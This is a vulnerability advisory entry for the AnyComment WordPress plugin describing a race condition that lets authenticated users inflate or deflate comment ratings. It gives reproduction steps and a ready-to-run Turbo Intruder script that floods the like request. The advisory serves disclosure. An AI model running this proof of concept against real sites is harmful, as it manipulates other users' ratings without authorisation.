Lucene search

K
wpexploitBrandon RoldanWPEX-ID:43A4B2D3-1BD5-490C-982C-BB7120595865
HistoryJan 19, 2022 - 12:00 a.m.

AnyComment < 0.2.18 - Comment Rating Increase/Decrease via Race Condition

2022-01-1900:00:00
Brandon Roldan
83

0.001 Low

EPSS

Percentile

25.0%

The plugin is affected by a race condition when liking/disliking a comment/reply, which could allow any authenticated user to quickly raise their rating or lower the rating of other users

https://www.youtube.com/watch?v=0IqZL-slt00

1. Make a new comment
2. Like your comment and intercept it using burpsuite
3. In burpsuite, right click the request and send to turbo intruder, you need turbo intruder installed first
4. Configure the turbo intruder script to your liking and run it
5. You will see that your comment has alot of likes and a very high rating now.

Turbo config:
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=100,
                           pipeline=False
                           )

    for word in range(20):
        engine.queue(target.req, word)


def handleResponse(req, interesting):
    if req.status != 404:
        table.add(req)

0.001 Low

EPSS

Percentile

25.0%

Related for WPEX-ID:43A4B2D3-1BD5-490C-982C-BB7120595865